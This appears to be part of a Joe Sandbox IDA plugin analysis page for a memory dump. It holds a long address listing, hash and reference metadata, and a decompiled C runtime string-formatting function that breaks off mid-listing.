0x0041fec5
0x0041fec8
0x0041fecb
0x00000000
0x00000000
0x0041fecd
0x0041fecd
0x0041fed0
0x0041fed3
0x0041fed6
0x00000000
0x00000000
0x0041fed8
0x0041fed8
0x0041fedb
0x0041fede
0x0041fee1
0x00000000
0x00000000
0x0041fee3
0x0041fee3
0x0041fee6
0x0041fee9
0x0041feec
0x00000000
0x00000000
0x0041feee
0x0041feee
0x0041fef1
0x0041fef4
0x0041fef7
0x0041fefb
0x00000000
0x0041fefb
0x00000000
0x0041fef7
0x0041fe95
0x0041fe95
0x0041fe98
0x0041fe9c
0x0041fe9f
0x00000000
0x0041fea1
0x0041fea4
0x0041fea7
0x0041fead
0x0041feb2
0x00000000
0x0041feb2
0x0041fe9f
0x0041fe65
0x0041fe65
0x0041fe68
0x0041fe6c
0x0041fe6f
0x00000000
0x0041fe71
0x0041fe74
0x0041fe77
0x0041fe7d
0x0041fe82
0x00000000
0x0041fe82
0x00000000
0x0041ff0c
0x0041ff0c
0x0041ff0f
0x0041ff12
0x00000000
0x00000000
0x0041fe2a
0x0041fe2a
0x0041fe2d
0x0041fe30
0x0041fe33
0x0041fe4c
0x0041fe4f
0x0041fe4f
0x0041fe52
0x0041fe35
0x0041fe35
0x0041fe38
0x0041fe3b
0x0041fe41
0x0041fe47
0x0041fe47
0x00000000
0x00000000
0x0041ff17
0x0041ff17
0x0041ff1a
0x0041ff1a
0x0041ff20
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ff28
0x0041ff28
0x0041ff2f
0x0041ff35
0x0041ff3b
0x0041ff3e
0x0041ff44
0x0041ff4b
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x004207a1
0x0041ff51
0x0041ff51
0x0041ff57
0x0041ff5e
0x00000000
0x004202e2
0x004202e2
0x004202f0
0x004202f0
0x004202f3
0x00000000
0x00000000
0x0041ff65
0x0041ff68
0x0041ff68
0x0041ff6e
0x0041ff70
0x0041ff73
0x0041ff73
0x0041ff76
0x0041ff76
0x00000000
0x00000000
0x004200ab
0x004200ae
0x004200ae
0x004200b3
0x004200b5
0x004200b8
0x004200b8
0x004200bb
0x004200bb
0x00000000
0x00000000
0x004204ae
0x004204ae
0x004204c4
0x004204c4
0x004204ce
0x004204ce
0x004204d4
0x004204d6
0x004204db
0x004204e5
0x004204e5
0x004204e8
0x004204ec
0x004204ec
0x00000000
0x00000000
0x00420015
0x00420015
0x00420021
0x00420027
0x0042002e
0x0042003c
0x0042003c
0x00420042
0x00420045
0x00420051
0x004200a6
0x00000000
0x004200a6
0x00420030
0x00420030
0x00420036
0x0042003a
0x00420056
0x00420059
0x00420059
0x0042005f
0x00420087
0x0042008e
0x00420094
0x00420097
0x0042009a
0x004200a0
0x004200a3
0x00420061
0x00420061
0x00420067
0x0042006a
0x0042006d
0x00420073
0x00420076
0x00420079
0x0042007b
0x0042007e
0x0042007e
0x00000000
0x0042005f
0x00000000
0x00000000
0x004202fa
0x004202fd
0x00420300
0x00420303
0x00420309
0x0042030c
0x00420313
0x00420317
0x00420322
0x00420322
0x00420326
0x0042033d
0x0042033d
0x00420344
0x00420346
0x00420346
0x0042034d
0x0042034d
0x00420354
0x00420362
0x00420365
0x00420374
0x00420377
0x0042037b
0x00420390
0x0042037d
0x0042037d
0x00420380
0x00420386
0x0042038b
0x0042038b
0x0042037b
0x0042039a
0x0042039d
0x004203a0
0x004203a3
0x004203a6
0x004203a9
0x004203af
0x004203b5
0x004203bd
0x004203be
0x004203c1
0x004203c2
0x004203c5
0x004203c6
0x004203cd
0x004203ce
0x004203d1
0x004203d2
0x004203d5
0x004203d6
0x004203dc
0x004203dd
0x004203ec
0x004203ee
0x004203f4
0x004203f4
0x004203f9
0x004203fb
0x004203ff
0x00420401
0x00420409
0x0042040a
0x0042040d
0x0042040e
0x0042041d
0x0042041f
0x0042041f
0x004203ff
0x00420422
0x00420429
0x0042042c
0x00420431
0x00420431
0x00420437
0x00420439
0x00420441
0x00420442
0x00420445
0x00420446
0x00420454
0x00420456
0x00420456
0x00420437
0x00420459
0x0042045c
0x0042045f
0x00420462
0x00420467
0x0042046c
0x0042046f
0x00420472
0x00420472
0x00420475
0x00420475
0x00420478
0x00420484
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x00000000
0x004207a1
0x00420328
0x00420328
0x0042032f
0x00420332
0x00000000
0x00000000
0x00420334
0x00420334
0x00000000
0x00420334
0x00420319
0x00420319
0x00000000
0x00000000
0x0041ff79
0x0041ff79
0x0041ff84
0x0041ff8c
0x0041ff93
0x0041ff96
0x0041ff96
0x0041ff99
0x0041fff2
0x0041fff9
0x0041ff9b
0x0041ffa2
0x0041ffa8
0x0041ffae
0x0041ffb5
0x0041ffb8
0x0041ffbe
0x0041ffc6
0x0041ffc8
0x0041ffcf
0x0041ffd6
0x0041ffdd
0x0041ffe5
0x0041ffe7
0x0041ffe9
0x0041ffe9
0x0041fff0
0x00420000
0x00420006
0x00420009
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x00000000
0x0042048c
0x0042048f
0x00420492
0x00420495
0x00420513
0x00420516
0x00420516
0x0042051b
0x0042053d
0x0042053d
0x00420543
0x00420565
0x00420565
0x00420568
0x004205af
0x004205af
0x004205b2
0x004205cf
0x004205d3
0x004205db
0x004205db
0x004205dd
0x004205e3
0x004205b4
0x004205b4
0x004205b8
0x004205c0
0x004205c1
0x004205c7
0x004205c7
0x0042056a
0x0042056d
0x0042056d
0x00420570
0x0042058e
0x0042059a
0x0042059d
0x0042059e
0x004205a4
0x00420572
0x00420572
0x00420576
0x0042057e
0x0042057f
0x00420580
0x00420586
0x00420586
0x004205aa
0x00420545
0x00420545
0x00420551
0x00420557
0x00420557
0x0042051d
0x0042051d
0x00420529
0x0042052f
0x0042052f
0x004205ec
0x004205ec
0x004205ef
0x00000000
0x00000000
0x00000000
0x004201eb
0x004201eb
0x004201f7
0x004201fd
0x00420202
0x00420204
0x004202ae
0x004202ae
0x004202b1
0x004202b1
0x004202b4
0x004202c8
0x004202ce
0x004202d4
0x004202b6
0x004202b6
0x004202bc
0x004202c3
0x004202c3
0x004202d6
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x004207a1
0x0042020a
0x0042020a
0x0042020a
0x0042020c
0x0042021a
0x0042020e
0x0042020e
0x0042020e
0x00420224
0x0042022a
0x00420230
0x00420237
0x00420239
0x0042023e
0x00420240
0x00420245
0x0042024a
0x0042024c
0x00420251
0x00420254
0x00420257
0x00420259
0x00420259
0x00420257
0x0042025a
0x00420261
0x004202a9
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x00420263
0x00420263
0x00420268
0x00420284
0x0042028c
0x00420296
0x00420299
0x0042029e
0x004209bb
0x004209be
0x004209c8
0x004209c8
0x00000000
0x004204f5
0x004204f5
0x004204ff
0x004204ff
0x00420505
0x00420507
0x0042050a
0x0042050a
0x00420510
0x00420510
0x00420513
0x00420513
0x00420516
0x00420516
0x0042051b
0x0042053d
0x0042053d
0x00420543
0x00420565
0x00420565
0x00420568
0x004205af
0x004205af
0x004205b2
0x004205cf
0x004205d3
0x004205db
0x004205db
0x004205dd
0x004205e3
0x004205b4
0x004205b4
0x004205b8
0x004205c0
0x004205c1
0x004205c7
0x004205c7
0x0042056a
0x0042056d
0x0042056d
0x00420570
0x0042058e
0x0042059a
0x0042059d
0x0042059e
0x004205a4
0x00420572
0x00420572
0x00420576
0x0042057e
0x0042057f
0x00420580
0x00420586
0x00420586
0x004205aa
0x00420545
0x00420545
0x00420551
0x00420557
0x00420557
0x0042051d
0x0042051d
0x00420529
0x0042052f
0x0042052f
0x004205ec
0x004205ec
0x004205ef
0x00000000
0x00000000
0x00000000
0x004205ef
0x00000000
0x004204a7
0x004204a7
0x00000000
0x00000000
0x004200be
0x004200be
0x004200c2
0x004200d0
0x004200d3
0x004200c4
0x004200c4
0x004200c4
0x004200d9
0x004200df
0x004200e5
0x004200f1
0x004200f7
0x004200f7
0x004200fa
0x00420182
0x00420182
0x00420186
0x00420188
0x0042018e
0x0042018e
0x00420191
0x00420198
0x0042019b
0x004201a1
0x004201a1
0x004201a1
0x004201a7
0x004201ad
0x004201b0
0x004201b6
0x004201b8
0x00000000
0x00000000
0x004201ba
0x004201ba
0x004201c0
0x004201c3
0x004201c5
0x00000000
0x00000000
0x004201c7
0x004201cd
0x004201d0
0x004201d0
0x004201d8
0x004201d8
0x004201de
0x004201de
0x004201e3
0x00000000
0x00420100
0x00420100
0x00420100
0x00420104
0x00420106
0x0042010b
0x0042010b
0x0042010e
0x00420111
0x00420117
0x00420129
0x00420129
0x00420129
0x0042012c
0x00420132
0x00000000
0x00000000
0x00420134
0x00420134
0x0042013a
0x0042013d
0x0042013f
0x00000000
0x00000000
0x00420141
0x00420141
0x0042014a
0x00420150
0x00420154
0x0042015c
0x0042015e
0x00420160
0x00420166
0x00420166
0x00420169
0x00420169
0x00420175
0x00420178
0x00420120
0x00420123
0x00420123
0x00420126
0x00420126
0x00420180
0x004201e6
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x004207a1
0x00000000
0x0042049e
0x0042049e
0x00420513
0x00420513
0x00420516
0x00420516
0x0042051b
0x0042053d
0x0042053d
0x00420543
0x00420565
0x00420565
0x00420568
0x004205af
0x004205af
0x004205b2
0x004205cf
0x004205d3
0x004205db
0x004205db
0x004205dd
0x004205e3
0x004205b4
0x004205b4
0x004205b8
0x004205c0
0x004205c1
0x004205c7
0x004205c7
0x0042056a
0x0042056d
0x0042056d
0x00420570
0x0042058e
0x0042059a
0x0042059d
0x0042059e
0x004205a4
0x00420572
0x00420572
0x00420576
0x0042057e
0x0042057f
0x00420580
0x00420586
0x00420586
0x004205aa
0x00420545
0x00420545
0x00420551
0x00420557
0x00420557
0x0042051d
0x0042051d
0x00420529
0x0042052f
0x0042052f
0x004205ec
0x004205ec
0x004205ef
0x00000000
0x00000000
0x00000000
0x004205ef
0x00000000
0x00000000
0x00000000
0x004207a1
0x004207a1
0x004207a1
0x004207a5
0x00000000
0x00000000
0x00000000
0x004207a5
0x00000000
0x00000000
0x0041fd2a
0x0041fd2a
0x0041fd2d
0x0041fd30
0x00000000
0x00000000
0x0041fd35
0x0041fd38
0x0041fd3e
0x00000000
0x00000000
0x0041fd1f
0x0041fd22
0x0041fd25
0x00000000
0x00000000
0x0041fd14
0x0041fd17
0x0041fd1a
0x00000000
0x00000000
0x0041fd43
0x0041fd43
0x0041fd46
0x0041fd46
0x0041fd49
0x00000000
0x00000000
0x0041fd4c
0x00000000
0x00000000
0x0041fc7a
0x004209a1
0x004209a7
0x004209b0
0x004209b5
0x00000000
0x004209b5
0x004207a1
0x00420778
0x00420778
0x0042077c
0x00420789
0x0042078c
0x0042078f
0x00420792
0x00420795
0x00420798
0x0042079b
0x0042079b
0x0042079e
0x00000000
0x0042079e
0x0042077e
0x0042077e
0x00420781
0x00420784
0x00420787
0x00000000
0x00000000
0x00000000
0x00420787
0x004206dd
0x004206dd
0x004206e0
0x004206e3
0x004206ea
0x004206f1
0x004206f9
0x004206ff
0x00420702
0x00420705
0x0042070c
0x00420718
0x0042071e
0x00420724
0x0042072b
0x0042072d
0x00420733
0x00420733
0x00420739
0x00420739
0x0042073f
0x00420748
0x0042074d
0x00420750
0x004206bf
0x004206bf
0x004206c5
0x004206c8
0x004206cb
0x004206cd
0x00000000
0x00000000
0x00000000
0x004206cd
0x004206bf
0x004205fc
0x004205fc
0x00420603
0x00000000
0x00000000
0x00000000
0x00420631
0x00420631
0x00420637
0x0042063d
0x00420643
0x00000000
0x00420643
0x00420513
0x004204c4

APIs

_get_int64_arg.LIBCMTD ref: 00420521
__aullrem.LIBCMT ref: 004206F1
__aulldiv.LIBCMT ref: 00420713

Strings

', xrefs: 004204BA
9, xrefs: 00420724

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: fb44c976c42239b606d4c3a345b38cad96f8b836ad3762147f2476c28668d23f
Instruction ID: 23e02a2199b10119fa4c05a6066960bfc2892135135e5abf16f25d6507dadf6d
Opcode Fuzzy Hash: fb44c976c42239b606d4c3a345b38cad96f8b836ad3762147f2476c28668d23f
Instruction Fuzzy Hash: 8B4106B1E001299FDB24CF48D881BAEB7B5FF85314F5040AAD148AB242C7789E91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00421779, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00421779() {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E00420B30(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00420B70( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E00420B30(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E00420B70(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041EA40(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041EA40(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0042F0C0(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E00420AD0( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E00420B30(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041D8B0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) + 0x4065b0) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x4065d0) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x4065d0) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M00421D34))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E00420AD0( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x421d6c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00421D54))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
